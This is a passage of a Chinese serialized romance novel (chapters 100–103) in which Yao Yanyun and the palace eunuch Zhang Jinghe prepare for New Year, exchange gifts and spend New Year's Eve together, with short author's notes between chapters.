三喜眨了眨眼,又追问:“替谁求呀?姚姑娘是有哪位朋友不安稳吗?” 姚砚云笑了笑:“不过是闲来无事,来许个愿罢了。” 两人说着,已走进了观音殿。殿内香烟袅袅,檀香氤氲,金身观音像端坐莲台,眉目慈悲。 姚砚云敛了神色,敛衽屈膝,虔诚地跪在蒲团上,双手合十抵在额间,对着菩萨低低地喃喃自语,不知说了些什么—— 作者有话说:不过是一个为爱所困的c男罢了 第100章 张景和入宫后的第三日,吉祥便领着两个小太监,抬着一口朱漆描金的大木箱缓步进来。箱身沉甸甸的,明眼人都知道是张景和特意遣人送来的。 姚砚云开心地收下了,又问吉祥:“公公有说什么时候回来吗?” 吉祥回:“这老爷倒是没说。” 姚砚云倒是也习惯了,张景和连着一个月宿在宫中也是常事。她轻轻拍了拍箱盖,转身回内室换衣服去了。昨日方淑宁特意遣人来说,今日鸣玉楼有西域乐师表演,不仅曲调新奇,连奏乐的姑娘小伙都生得眉目鲜活,很有异域风情。 收拾妥当后,便带着马冬梅、小元和三喜,坐着马车往鸣玉楼去。刚到楼前,便见门口车水马龙,往来的公子小姐络绎不绝,显然都是冲着西域表演来的。 几人刚要进门,店小二已笑着迎了上来,指引着他们去了靠舞台的雅座。 表演散场时,天色已近黄昏,又在这边用过了晚膳。姚砚云和方淑宁才各自道别,便带着丫鬟小厮坐上马车,慢悠悠地往府中去。 马车刚在张府朱漆大门前停稳,车帘被三喜轻轻掀开的瞬间,姚砚云的目光便越过石阶,落在了墙角那辆熟悉的马车——那是张景和的车。她心里有些开心,竟没想到他今晚会回来。 姚砚云拢紧了身上的大氅,径直往望雪坞的方向去。还未踏入月亮门,就见屋内漏出暖黄的烛火,她脚步顿了顿,唇角不自觉地弯起,这下是真的确定,他回来了。 “景和。” 姚砚云在院子里就开始叫他的名字。 推门而入时,姚砚云正撞见张景和低头系大氅的绦带,看模样竟是正要出门。四目相对的瞬间,姚砚云先朝着他弯眼笑了笑。 只那一眼,张景和便像是被烫到般,仓促转开了头,指尖系绦带的动作都乱了一些。 姚砚云问他:“你什么时候回来的?怎么我刚到,你就要走了?” “刚回。”张景和的目光落在她鞋尖沾的碎雪上。“恰好出宫办差,便顺路回来看看。” “顺路回来……看我吗?”姚砚云微微倾身,目光灼灼地望着他,语气里藏着一丝期待。 张景和喉结轻轻滚动,终是没应声,只低头重新去扯那绦带。 姚砚云见状,索性上前一步站到他身前,抬手轻轻拨开他的手,柔声道:“我来。” 张景和就这般定定望着她,看着她替自己系绦带的模样——这般亲昵的举动,被她做得自然又妥帖,彷佛这是一件很平常,仿佛她早已做过千遍百遍 系完后,两人重新落座。姚砚云絮絮说着她今日去鸣玉楼看西域乐师表演的事,张景和也和她讲了一些宫里的琐碎事。 正聊到兴头,张景和忽然搁下茶盏:“时候不早了,我得回宫了,我送你回去。” 姚砚云应声起身,两人并肩走去踏月轩,有一搭没一搭地说着闲话。 把她送进了屋,张景和叮嘱:“我这趟回去,怕是得在宫里,呆一段时间才能出来,你这段日子安分些,别又闹出什么幺蛾子。” 姚砚云撇撇嘴,佯作不满:合计着,我在你眼里就是天天惹事的人。” 张景和抬手揉了揉她的发顶:“好了,我要走了。”,说罢便转身走了。 “哦……”姚砚云低低应了一声,心里却空落落的,鬼使神差地伸手,指尖轻轻勾住了他的衣角。 她有些不舍:“景和” 其实姚砚云的指尖,只是轻轻地勾着他的衣角,不过是极轻的触碰,张景和却蓦地顿住脚步:“又怎么了” “都这么晚了,好歹用了饭再回吧。”姚砚云抬眸看他,眼底晃着烛火映出的光。 “宫里还有差事等着,耽搁不得。”张景和话音刚落,便对上她望过来的眼神,那双眸子清亮亮的,竟让他莫名有些心慌,连忙移开视线,心里又暗笑自己,竟然被一个女子的眼神吓到了。 他定了定神,故意板着脸打趣:“怎么,就这么舍不得我?” 姚砚云也不扭捏,弯着眉眼点头:“是。” 张景和倒被她这直白的回答噎了一下,低低“啊”了一声,一时竟不知接什么话。 随即又板着脸道:“好了好了,真该走了。你也仔细些,多添件衣裳,别冻着了。” 姚砚云学着他方才的模样,挑眉反问:“怎么,你就这么关心我啊?” “不过是随口叮嘱一句,算不得什么。”张景和嘴硬着,顿了顿又补充,“旁人我也会这般x说,便是皇上,我也能关心几句,难道还不能关心你?” 姚砚云噗嗤笑出声,揶揄道:“原来如此,你心里装着的是普度众生的大爱,竟是尊乐山大佛呢。” 张景和: 他被这话堵得哑口无言,只觉得这姚砚云越发没规矩了——这世间也就她敢这般和自己说话,偏生他还生不起气来。索性折身转回屋里,重重往椅子上一坐,竟是不走了。 姚砚云见状,又往前凑了凑,眸光灼灼地盯着他:“你拿我和皇上比,那我倒想问问,你和皇上是什么关系?” “我和皇上自然是君臣关系。”张景和答得干脆。 姚砚云又问:“那我和你什么关系。” 张景和: 姚砚云侧过脸去看他,凑得更近了些,理直气壮地问:“请你说说,我们现在这样,算什么关系?” 姚砚云伸手推了推他的胳膊,笑着嗔道:“亏你还是司礼监秉笔呢,还是在皇上跟前伺候的人呢!胆子比针尖还小!但凡遇上不想答的,就装聋作哑,这招你用多少次了?” 张景和佯怒:“你这胆子是越来越大了,如今连司礼监都敢议论了是吧?” 姚砚云忽然伸手捏住他的脸,语气带着逼问:“那你说啊。” 张景和被她看得无处遁形,知道今晚这关躲不过去,急忙开口:“自然是把你当好朋友了,才这般关心你。” 此话一出,姚砚云登时激动地站起身,脸颊涨得通红:“什么朋友?难道我们不是情人关系吗?” 张景和:“啊?” 他猛地瞪大了眼睛,还以为自己听错了,可瞧着姚砚云那较真的模样,又绝非玩笑。 他慌忙低下头,目光死死盯着桌上的茶盏,不敢再看她 姚砚云见他这副模样,气不打一处来,反问:“你这是什么意思!你那天都把我亲成那样了,现在想耍赖是不是!” “我……”张景和张了张嘴,想解释些什么,可脑子里乱成一团麻,千头万绪竟理不出半句像样的话。 姚砚云又扯了扯她的衣领:“你做的好事!难道你对你的朋友,也是又亲又咬的吗?” 张景和见她越说越激动,生怕动静闹大被外人听见,连忙伸手捂住她的嘴,连声告饶:“小祖宗,我错了,你别再说了行不行?” 姚砚云被气得不轻,张嘴狠狠咬了一下他的掌心,随后猛地别过脸,腮帮子微微鼓着,再不看他一眼。 屋内霎时陷入沉默 忽然,姚砚云腹中一阵抽痛,身子下意识轻轻一颤。她昨日便来了月事,方才情绪激动,竟惹得抽痛愈发厉害。不过片刻,她的脸色便褪尽了血色,惨白得像蒙了一层霜,忙不迭弯下腰,死死捂住小腹,额角隐隐沁出细汗。 张景和瞧着她这模样,心头一紧,他曾经伺候过宫里的娘娘,自然懂这些女儿家的苦楚。他试探着问:“是不是疼得厉害了?” 姚砚云咬着唇点了点头,可转念想起方才的气,又犟着摇头,声音带着哭腔,硬邦邦道:“不是!是被你气的!” 张景和是知道的,有些女子每逢月事便如坠炼狱,纵使用上等药材调理,也难根除苦楚。他不再多言,俯身小心翼翼将她打横抱起,快步往寝室走去,低声道:“先躺会儿,躺着能舒服些。” 将她安置在床上后,见她依旧蹙着眉,额上不断冒出冷汗,脸色依旧难看,他挨着床边坐下,抬手想替她擦汗,又怕惹她不快,只低声问:“很痛吗?” 姚砚云闭着眼,侧过身背对着他,连一个字也不肯回应,只剩压抑的闷哼从喉间溢出。 不知过了多久,床榻轻轻一动,姚砚云竟慢慢转过身来,眼眶泛红,唇瓣咬得发白。张景和见状,心头一软,低声道:“我帮你揉一下吧。” 他在宫里见多了嫔妃受痛经折磨,贴身宫女常会焐热掌心,替主子轻轻按揉腹部缓解痛楚,此刻便也想这般试试。 话音未落,他便小心将她揽入怀中,让她靠在自己胸膛,先将双手合拢摩擦焐热,再覆上她冰凉的小腹,动作轻柔地打圈按揉。掌心的温度透过薄衣渗进去,带着几分安抚的力道,竟真的渐渐见效。 过了好一会儿,姚砚云蹙着的眉慢慢舒展开了。 张景和放轻了动作,低头看着她,见她眼皮渐渐耷拉下来,呼吸也变得绵长均匀,竟是在他怀里慢慢睡着了—— 作者有话说:来晚了《 》 100-110 第101章 眼看就要过年了,京师的街头巷尾早已浸在融融喜气里,往来行人皆手提肩扛着年货,脸上的笑意都掩不住。 这日,姚砚云回府时,正撞见富贵领着一众丫鬟洒扫庭除,显然是在做年前的大扫除。 她问富贵:“往年过年,这府里热闹吗?” 富贵停了手里的活,回话道:“回姑娘,往年倒算不得热闹。”他凑近了些,压低声音补充,“往年老爷总在宫里守岁,往往过了初四初五才回府来。不过,今年有姑娘在,我估摸着,老爷定是要回府里过年的。” 姚砚云心里想着,这是必须的!她抿唇笑了笑,又略带不解地问:“我方才从冯府回来,见他们府上上下下忙得团团转,怎么咱们这儿反倒静悄悄的,一点年味儿都没有?” 富贵连忙解释:“因着老爷往年不在府里过年,府里向来只简单贴副春联便罢了,从没有过多张罗。” “那怎么行!”姚砚云立刻摆手,“既到了年下,就得热热闹闹才像样。咱们也把张府好好拾掇拾掇,定要弄得红火喜庆!得有个过年的样子。” “行!姚姑娘那我听你的。”富贵脸上立刻绽开笑来,忙不迭应下。府里上下谁不晓得,这位姚姑娘是老爷放在心尖上的人,如今张府实打实的女主人,她的话,可不就等同于老爷的吩咐? 姚砚云道:“那行,咱们这就合计合计,该置办些什么物件,务必把这年过得热热闹闹的。” “好嘞!”富贵心里也跟着欢喜,他在张府多年,老爷虽出手阔绰,年年赏钱丰厚,可府里总缺些烟火气,冷冷清清的。如今能好好操办一回过年,他也打心底里乐意。 不消片刻,在姚砚云的调度下,府里的丫鬟小厮们便忙开了,年货开始往府里运,干果糕点、香烛福字、松柏冬青等等总算有了过年该有的热闹劲了。 后面拉着马冬梅和小元回了屋,三人凑在一起,兴冲冲地展示刚做好的新年衣裳,姚砚云特意给她们俩各做了五套,自己也备下了五套样式各异的新衣。 说笑间,她忽然想起,张景和明日便要回府了,不知他有没有备好新年衣裳?府里虽有专做衣裳的裁缝,可这会儿赶制怕是来不及了。她想着,若是他没准备,不如明日带他去成衣铺挑一套现成的。 第二日,张景和踏进府门的刹那,脚步不由得一顿,竟生出了走错门的恍惚,院里的松柏、梅枝乃至盆栽的的一些花草,枝桠间都系满了鲜艳的红丝带,风一吹便轻轻摇曳,丝带旁还坠着小巧的金箔元宝、红纸剪的“福”字笺,有的枝上甚至挂了串着铜钱的红绳,远远瞧着,竟像是哪家办喜事一般 他招手唤来富贵,挑眉问道:“府里这是闹的哪出?” 富贵连忙躬身回话,脸上堆着笑,语气里满是对姚砚云的认可:“回老爷,这都是姚姑娘亲手安排的。姑娘说眼瞅着年关近了,府里总该添些喜庆才像样,便让人采买了红丝带、金箔元宝这些物件,把院里的花木都装点了一番,连廊下的灯笼都换了新的。” “那就随她吧。”张景和淡淡说了一句。 走了几步又吩咐富贵:“她既喜欢这些,你往后便多陪着些,采买物件也好,安排人手也罢,不必替我省钱,她高兴就好。” 也就在这时,张景和心底忽然掠过一阵恍然,他竟从未在这张府里守过一次岁。往年除夕,他总是主动留在宫里,与其说是当值,倒不如说是怕了府中的冷清。 宫里人多,至少能和相熟的几个太监围坐在偏殿,就着几碟早已凉透的小菜,喝两杯温得半凉的酒,有一搭没一搭地说些无关紧要的闲话,即便散场后只剩更深的空寂,也总比在空荡荡的张府,对着满桌冷菜独自坐到天明要好些。 可x是今年姚砚云来了,也许他这个年会过得比较热闹一些吧,她总是不一样的。 富贵将他的话记在心里,连忙点头应下头:“老爷,小的知道。” 张景和抬脚往踏月轩去,还未踏进院门,便见姚砚云蹲在花圃边,不知凝神看着什么。他放轻脚步走近,才发现她正盯着那一株盛放的蝴蝶兰出神,连他来了都未曾察觉。 “看什么呢?来人了都没发现。”张景和的声音里带着笑意,也在她身旁缓缓蹲下,目光落在那株蝴蝶兰上,“不过是株寻常花草,倒值得你这般入神?” 姚砚云闻声抬头,瞧见是他,笑着说:“看花儿呢,这蝴蝶兰开得真好。” 张景和望着她的侧脸,心头微动,起身时自然地伸出手:“外头风凉,仔细冻着。这花再好看,也犯不着在这儿蹲半天。” 姚砚云顺着他的力道站起身,随即跟着他往屋里走。刚踏进屋内,她就问张景和:“对了,你新年的衣裳备好了吗?我前几日给马冬梅和小元都安排着做了新衣服,竟忘了问你,也没给你准备” 张景和闻言微怔,反问:“过年为什么要穿衣裳。” 听他这么一说,姚砚云就知道他肯定没准备了,她原本想邀他一同上街市逛逛,可看他实在有些疲倦的样子,便把话咽了回去,而且他明天一早又得回宫去了,就让他好好府里休息吧。 两人一同用了饭,张景和便起身回望雪坞。他在大厅的梨花木椅上静坐了片刻,端着温茶喝了小半盏,只觉得眼皮越来越重。就起身进了寝室,他随手将外袍解下搭在衣架上,正打算换下里衣歇息,许是实在太累了,连姚砚云轻手轻脚推开房门进来,都未曾察觉。 姚砚云悄悄走到他身后,看着他略显单薄的背影,犹豫了片刻,还是伸出手,轻轻掐了掐他的腰,刚开口道:“你的腰……” 话未说完,张景和猛地回身,一把攥住她的手腕,紧张地问她:“你怎么又来了” 姚砚云被他攥得一愣,随即就笑了:“怎么叫又来了?你说的我和豺狼一样,看你紧张的,我不过是想给你量量尺寸,好赶在年前给你做件新衣裳而已。” 张景和: 张景和闻言,神色稍缓,沉默片刻才道:“这种事何须你亲自动手,让府里的裁缝婆子们做就好了。” “那可不一样。”姚砚云挣开他的手,拿起早已备好的软尺,眸光亮亮的,“往后你这些贴身的事,自然该由我来管。” 说着,也不管他是否情愿,便踮着脚量他的身高,指尖堪堪够到他的肩颈,又绕着他仔细量胸围、肩宽,软尺在她手里轻轻翻飞,神情专注得很。张景和站在原地,垂眸望着她低头摆弄软尺的模样,鬓边的碎发随着动作轻轻晃动,恍惚间,竟觉得两人就像寻常巷陌里的夫妻 他望着她专注的侧脸,心底又忍不住泛起一丝疑惑,可她这么对自己是图什么呢? 帮张景和量完尺寸,姚砚云将软尺卷好收进锦盒。她转过身,便絮絮叨叨说起白日里去看啊芳的事:“啊芳今日就跟着她家人,回老家过年了,说要等生完孩子才回京师呢。” 她抬眼看向他,笑着问:“景和,你还记得啊芳吗?你们先前见过的。” 张景和淡淡摇头:“不记得了。” “她今日还跟我说,总觉得怀的是个女孩,特意托我帮着取个名字。”姚砚云说着,眉眼弯起。 张景和道:“那你便替她取一个就是了。” “我在路上琢磨了好久,翻来覆去想了好些名字。”姚砚云轻轻蹙了蹙眉,“早知道不答应她了。” 张景和看着她脸上明亮笑意,心底涩然,牵了牵唇角,竟是一丝苦笑:“现在就开始取名字了,那万一是个男孩呢?” “那就取两个呀,一个给姑娘,一个给小子,横竖都用得上。”姚砚云想得周到,丝毫没察觉他的异样。 “行……”张景和低声应着,声音轻得几乎要融进空气里。 张景和望着她鲜活的笑脸,喉间忽然发紧,迟疑了半晌,才轻声问:“听起来,你很关心她的孩子……那,那你呢?你也和她一样,喜欢孩子吗?” 姚砚云闻言,歪着头认真想了想,随口答道:“我啊?倒也还好吧。我喜欢长得好看又听话的孩子。不过要是真让我带,我怕是还没那个耐心呢。” 见张景和半晌没吭声,只怔怔地看着地面,姚砚云只当他是累了,便起身了:“那你先歇着吧,我不打扰你了。” 说着,她便轻手轻脚地退了出去。 张景和望着她消失在门口的背影,屋子里瞬间静了下来,只剩下他一人,心底的落寞像潮水般涌上来—— 作者有话说:来晚了,不好意思。 第102章 今日正是除夕,午后还来了一些暖阳,姚砚云用过午饭,便唤了马冬梅与小元一同贴春联。她执意不用旁人搭手,只带着两人细细忙活。 换檐下灯笼的活计,她则交给了三喜,她看着旧灯笼被取下,簇新的八角宫灯挂上,红绸穗子随风晃悠的样子,心里有些感触,是开心的感触。 踏月轩院落阔朗,三人贴春联、理挂饰,三喜登高换灯,四个人足足忙了一个下午,才算把各处拾掇妥当。暮色渐浓时,院里红灯笼次第点亮,倒添了几分年味儿。只等张景和归来,便能凑齐一桌热热闹闹的年夜饭了。 约莫申时末刻,张景和回府了,姚砚云就过去了望雪坞,和他说了今晚的安排。 “我想着,年夜饭就让冬梅、小元还有三喜也跟着我们一起吃。”她虽知晓按照这边的规矩,尊卑之别,主仆素来不同席,可在她心里,这些相伴日久的人早已是朋友,过年本该团团圆圆,哪能叫他们孤零零守在灶房里吃? 张景和反问:“你确定她们想和我一起吃饭吗?” 姚砚云当然知道,这府里人个个怕他,看到他恨不得掉头走,可今天的日子不一样啊,她既想和他挨在一起,也想让身边人都凑在一块儿热闹。她眼珠一转,挽住他的胳膊晃了晃:“那不如把吉祥、富贵他们也一并叫来,人多了热闹,她们便不会拘谨了,可以吗?” 张景和瞧着她眼里亮晶晶的期盼,终是松了口:“都依你便是。” 姚砚云闻言眉眼一展,索性把头靠在他肩头:“那我知道了。” 不多时,年夜饭便在踏月轩的饭厅摆开了。 一张红漆八仙桌被菜肴填得满满当当,皆是除夕的应景吃食:有甜糯的红糖年糕与咸香的腊肉年糕,清蒸鲤鱼,整只炖得酥烂的土鸡,元宝猪蹄,清炒白菜,烧鹅,还有一些海味,鱼翅和鲍鱼,后厨还特意抬来半只烤全羊。 待众人落座,宴席便开了。起初众人还有些拘谨,毕竟张景和坐在上首,好在姚砚云在一旁热络张罗,时而给小元夹块年糕,时而同马冬梅打趣两句,气氛渐渐活络起来,席间也响起了说笑之声。 不久后,富贵捧着一只青釉缠枝纹温酒壶进来,走到张景和身侧躬身道:“老爷,屠苏酒温好了。” 按旧俗,屠苏酒需从最年幼者开始饮,讨的是“年少者得岁,年长者失岁,故先少后长,以贺新生”的好彩头。小元年纪最小,怯生生地端起酒杯抿了一口,眉眼立刻皱成一团,惹得众人轻笑。随后众人依次饮过。 待酒足饭饱后,姚砚云就交代小元和马冬梅,让她们自己出去玩就好了,也免得对着张景和不自在。 二人回到望雪坞,正闲聊着,张景和抬手揉了揉右手腕,眉头微蹙了一下,姚砚云看在眼里,自然地拉过他的手,指尖轻轻按揉着他的腕骨与掌心。 “好些了吗?”她问 “好多了。”张景和望着她低垂的眉眼,“这右手,从前做小火者时落下的伤,总时不时抽筋,疼起来当真要命。”他说起旧事时,脸上浮着些说不清的感慨,显然是有过不开心的过往。 姚砚云没再多问,只是握紧了他的手,贴在自己脸颊上,温软的肌肤贴着他略显粗糙的掌心:“那以后再疼了,就和我说,我帮你揉,揉着揉着就不疼了。” 张景和抬手揉了x揉她的脸,低声应了句“好”。 心头却忽然漾起暖意,他发觉自姚砚云来到他身边,连常年犯的头疾,竟也消停了许久。这一刻他忽然觉得,上天待他不算太薄,至少把她送到了自己眼前。 至少此刻,他觉得自己是被幸福裹住的。管她姚砚云的心意有几分真几分假,至少她此刻就偎在他身侧。也就在这一瞬,他更加下定决心,这辈子,他无论如何都不会放她离开自己的身边 正聊着,张景和忽然从袖中摸出一个绣着缠枝莲纹的荷包,递到姚砚云面前:“给你的压岁钱。” 顿了顿,又轻声补了句,“新的一年,愿你身子康健,岁岁无忧。” 姚砚云接过来就要打开,却被他伸手按住:“别开,得放在枕边压着,等过了十五才能拆,不然就不灵验了。” “晓得了,那就过了十五再拆。”姚砚云笑着把荷包揣进怀里,眉眼弯弯的。 张景和看着她这模样,忍不住笑:“就知道你性子急,爱拆东西。喏,这个今晚就能拆。”说罢起身往内室走,不多时捧出一个木盒,递了过来。 姚砚云迫不及待地打开,盒内铺着红绒,静静躺着数锭金锞子,还有几支錾花的金簪,金光灿灿的晃眼。“这么多……”她惊讶地抬眼。 “喜欢吗?”张景和问,目光落在她发亮的眼眸上。 姚砚云把头摇得像拨浪鼓,嘴上却忙不迭地说:“喜欢,自然是喜欢的!” 话音刚落,她忽然想起什么,起身道:“你等我片刻,我也有礼物给你。”说罢便快步出了望雪坞,往踏月轩去了。 不多时,她提着个大红礼盒回来,礼盒上系着缠丝红带,打得层层叠叠的结。“快拆开看看。”她把礼盒推到张景和面前,眼里满是期待。 张景和瞧着这花里胡哨的样子,问:“这是裹了几层?倒弄得这般神秘。”嘴上说着,手却已经动手解带子,一层层拆开红绸,最后取出一幅裱得精致的画。 打开时,他蓦地怔住,画中之人,穿着水蓝色的夹绒和夹领衣,面带笑意,立在拱桥上,唇角噙着笑,眉眼温润哪有半分平日里的冷硬模样,活脱脱一个俊朗出尘的翩翩公子。 这是他在西州时的打扮,还有那座桥,也是他当时在等她的时候,经过的 “你……你何时画的?”他声音微哑,没想到时隔这么久,她竟还记得这些似乎连他当时的神态都记得清清楚楚。 “回来之后便开始画了,断断续续描了好些日子。”姚砚云凑到他身边,指着画中人的笑脸,“我没骗你吧?你笑起来,当真好看。” 张景和耳朵一红:“也没多好看画这个多费神,下次别做这般累人的事了。” “一点都不累。”姚砚云轻声说,“画的时候,脑子里全是你笑的样子,想着想着,就画完了。 她仰头看他,“那你喜欢吗?” 张景和摩挲着画的边缘,嘴硬道:“还行吧。” 姚砚云抿嘴笑了:“我知道了。” 张景和挑眉:“你知道什么?” 姚砚云道:“知道你心里喜欢得紧,嘴上偏不承认。” 张景和: 因要守岁到子时,姚砚云便提议玩骨牌解闷。张景和想了想便应了,却特意补了句:“只当消遣,不论输赢。输了不用应承要求,也不必答那些刁钻问题。” 姚砚云笑着点头。 两人就这样玩到了子时,姚砚云此时也熬不住困意,眼皮沉甸甸地耷拉着,连打了几个哈欠。 张景和道:“困了便回吧,我送你去踏月轩。” 行至半路,他忽然开口:“初二我带你去泡汤泉,再到城外逛逛。你若想叫上其他人,也都随你。” 姚砚云听了,困意消了大半,笑着应下:“我知道了。” 到了踏月轩门口,两人又在屋内坐了片刻,说了些闲话。见她越聊越精神,他知道自己该回去了:“不早了,你早些歇息。” 他刚走一步,姚砚云就从背后抱住了他:“这天这么黑外面又那么冷你就不能陪我到天亮吗?” 张景和身形一僵,尚未开口,她又凑到他耳边,气息温热:“可以吗?”那声音像羽毛轻挠在心尖, 张景和只觉得眼前一片恍惚,后颈发麻,头脑一片空白。 见他半天没动静,姚砚云的手臂微微松了松:“你就是个胆小鬼。” 张景和终究还是轻轻掰开了她的手,低声道:“早些歇息。”说完,便转身快步走了。 屋内,姚砚云望着他消失在夜色里的背影,嘴角却悄悄勾了勾,她心里想着:今晚就先放过他吧,等到初二也不急总有让他松口的时候。 张景和回来后,抱着那画来来回回看了十几次,他心里有种说不出的欢喜 怀着这份愉悦,他麻利地更衣上床,没多久就睡着了,可没睡多久,外头就传来一阵轻轻的呼唤,一声声,带着点急。后面他听清了,是有人叫他的名字。 他猛地惊醒,披了件外袍就快步走到门口,一开门,就见姚砚云站在廊下,脸颊冻得微红,胸口还微微起伏着,显然是跑过来的。 见他开门,她眼睛一亮,上前一步,气喘吁吁地说:“我翻来覆去睡不着我想了下,大过年的,还是想和你一起睡。”—— 作者有话说:来晚了[爆哭] 第103章 “你……”张景和到了嘴边的拒绝又咽了回去,看着她冻得发红的鼻尖和脸颊,终究是软了心肠,伸手将她拽进门内,沉声道:“先进来,仔细冻着。” 从踏月轩走到望雪坞有段距离,姚砚云搓着冰凉的指尖,呵出一团白气:“外头可真冷,风跟刀子似的刮人。” “既知道冷,何苦大半夜折腾?”张景和语气里带着责怪,却还是不由分说攥住她的手,拢在掌心反复揉搓取暖,“常圣手叮嘱你的话,你是半句都没往心里去。” “你再这般任性,小心……”话到半截,他忽然想起除夕忌言晦气话,忙不迭啐了一口,把余下的话咽了回去。 姚砚云顺势往他手边偎了偎,可怜兮兮道:“今夜实在太冷了,我一个人躺在被窝里,手脚半天捂不热……好可怜的。” 说着,她拉起他的手往自己脸上贴:“不信你摸摸,冰得很。” 张景和: 掌心触到的肌肤果然是一片冰凉,可他知道,踏月轩屋内的供暖是完全没有问题的,这点寒意不过是跑过来时沾的风霜罢了:“你屋里有这么冷?那这样吧,我和你回去看看。” 姚砚云立刻皱起眉,跺了跺脚:“来回折腾,你是想把我冻僵不成?” 张景和道:“那你想如何?” 姚砚云道:“不如就委屈你一回,今夜收留我呗。” 话音未落,她也不等张景和应答,就往他寝室的床榻上走去。 “姚砚云,你给我回来!”张景和越喝,她跑得越快,到了床边竟直接一掀被子,蜷身钻了进去 张景和惊在原地,只觉得脑门突突跳——反了反了!简直是反了天了! “你赶紧给我出来,不然你就等我被我扔出去!”他上前去拉她的手腕,姚砚云却把自己裹成个蚕茧,哧溜一下缩到了床最里侧 张景和站在床边,竟半点法子都没有,只能干着急。 这明明是他的床榻,他反倒成了束手束脚的外人!他这是给自己找了个祖宗回来!真真自作自受! 他就这般僵立了约莫一刻钟,心头慌张与无奈交织,偏又发作不得。 “那你站一晚上吧。” 忽然,床里传来姚砚云闷闷的声音。 张景和: 凭什么?这床是他的,这屋子是他的,整个府邸都是他的! 他偏不站着! 这么想着,鼓足了气,索性也掀了被子,躺到了床外侧。 他的心跳得擂鼓似的,砰砰砰指尖都微微发颤,只敢贴着床沿躺下。好在半晌过去,姚砚云竟没再闹腾,想来是真睡着了。他心里松了口气,却又莫名空落落的 罢了罢了,睡吧。 因着除夕守岁,屋内的灯通宵不灭,映得帐幔一片暖黄。张景和起身拉了床帘,将那片光亮挡在外面,才又躺回原处,刻意与姚砚云隔着老远的距离。 “景和x” 忽的,姚砚云转过身,手臂一伸便环住了他的腰,脸颊贴在他的胸口,清晰地听见他骤然加速的心跳。 张景和连动都不敢动,问她:“你又想怎么样。” 姚砚云轻笑一声,鼻尖蹭了蹭他的衣襟:“你的心跳得好快呀。” “闭嘴!不过是困乏了,心气虚浮罢了。安分些,好好睡觉!”张景和板着脸呵斥,耳根却悄悄泛红。 姚砚云却不依不饶,往他怀里缩了缩:“可我有些不舒服。” 张景和还当她是方才受了寒,连忙伸手探她的额头:“会不会是冻着了,莫不是要染风寒。” “才没有,就是心里慌。”姚砚云捉住他的手,按在自己心口,“不信你听听。” 张景和: “那你替我揉一揉,揉一揉就好了。”她得寸进尺,指尖勾着他的衣袖晃了晃。 “姚砚云!你给我老实点!哪有姑娘家这般没羞没臊的?”张景和佯怒着掰开她的手。 接着又转过身去,背对着她。 姚砚云却不恼,反而凑近了些,小声道:“那我知道了……你能不能往里边睡点?我瞧着你贴着床沿,生怕你半夜摔下去。” 张景和沉默了半晌,终究还是顺着她的话,往床里侧挪了几分。 他刚转过身,姚砚云便又伸手抱住了他,将脸埋进他的颈窝,半晌没出声,张景和只觉颈间一片温热,还听见她略显急促的呼吸 他心跳不由得也跟着乱了一些……好在不过片刻,她许是真的困了,转了个身后,又将脸埋在他温热的胸口,接着,均匀绵长的呼吸声便轻轻落在他的心口,伴着夜的静,一下,又一下。 直到这时,张景和僵了许久的身子才缓缓放松下来,他抬手虚虚圈住她,将下巴轻轻抵在她柔软的发顶,鼻尖萦绕着她发间的清香,他喉结轻轻滚了滚,犹豫了好一会儿,才在她发丝上印下一个极轻的吻。 “睡了吗?”他试探着问了句。 怀里的人毫无动静,只有平稳的呼吸熨帖在他的衣襟上。 确认她真的睡熟了,张景和才小心翼翼地将她抱紧,掌心贴着她的背脊,感受着她胸腔里平缓的心跳。那一下下的律动,像是带着某种安抚的力量,将他那颗躁动不安的心,一点点抚平、归拢 窗外是除夕彻夜不熄的灯火,屋内是相拥而眠的两人。 第二天一早,屋外爆竹声噼里啪啦响个不停,将姚砚云从睡梦中惊醒。她揉着惺忪的睡眼坐起身,身侧的床榻已经空了,张景和不知何时已经起了。 她慢条斯理地穿好衣服后,随口朝着外间唤了几声他的名字。 很快张景和就走了进来,问她:“怎么不多睡一会儿。” 姚砚云揉了揉眼睛:“外面爆竹声,吵的有些睡不着。” 姚砚云走到他身边,拉着他在窗边的圈椅上坐下,一脸认真又带着笑:“我给你念段新年祝词。” 她清了清嗓子,一字一句念起来: 旋穹周回,三朝肇建 青阳散辉,澄景载焕。 标美 标美标,标标什么来着。 姚砚云是晓得的,这京城里头的官宦人家或是富贵门第,新年里总要拈几段雅致的祝词来道贺,才显得合礼数、有体面。昨夜临睡前,她绞尽脑汁才想起这篇《椒花颂》,只盼着念给他听讨个好彩头,可这会儿,念到一半她又不记得了 张景和见状,低笑一声,自然地接过话头: 标美灵葩,爰采爰献。 圣容映之,永寿于万。 “后面的实在记不清了。”姚砚云仰头看他,笑得有些不好意思。 “无妨,心意到了便好。”张景和抬手替她理了理鬓边碎发,温声道,“快去洗漱吧,厨房煮了扁食,一会儿就可以吃了。” 用过早饭,张景和要入宫给皇上拜年,姚砚云则约了方淑宁、方淑惠逛集市、赶庙会,两人便在府门口分了手,说好等他回来,一同去探望芸娘和冯大祥。 三人约在平日里常去的酒楼碰面,巧的是,各自都备了新年礼,方淑宁心细,还特意给马冬梅带了份精致的点心匣子。 席间,姚砚云问两人:“我明日打算去城外泡汤泉,你们俩要不要一起去凑个热闹?” 方淑宁摇摇头:“明日得去祖母家,怕是去不成了。” 方淑惠也面露歉意:“我明日也有事,姚姐姐,咱们改日再约可好?” “那便罢了,等下回再一起。”姚砚云也不勉强,笑着应下。 说罢,三人便结伴往集市去。正月初一的集市,人头攒动,摩肩接踵,各色摊铺摆得满满当当,捏面人的、卖糖葫芦的、吆喝着卖绒花的,热闹得很。三人看得兴致勃勃,从街头逛到街尾,手里渐渐都提满了各式小玩意,三喜跟在后面,两手拎着大包小包,累得气喘吁吁。 他凑到姚砚云身边,小声试探:“姚姑娘,咱们这……是不是该回府了?” 姚砚云眼睛还盯着不远处卖风车的摊子,头也不回:“急什么,庙会还没去呢。” 三喜: 他最怕就是和姚姑娘一起逛街,这种累,可比他拉一整天车还要累上十倍。 直逛到申时过半,日头西斜,三人才心满意足地往回走。 姚砚云回府后,便蜷在窗边的软榻上翻话本,手边煨着一壶暖茶,静静等着张景和回来,等他到了,两人便要一同往冯府去。 不过话本没翻多少页,张景和就来接他了。 两人到了冯府,冯大祥和芸娘早早就备好了压岁钱给两人。 寒暄过后,芸娘目光落在张景和身上,看了他好一会儿,忽然笑着开口:“玄英,你如今瞧着,倒是和从前不大一样了。” 张景和闻言一愣,下意识摸了摸脸颊,疑惑道:“干娘?我哪里不一样了?” 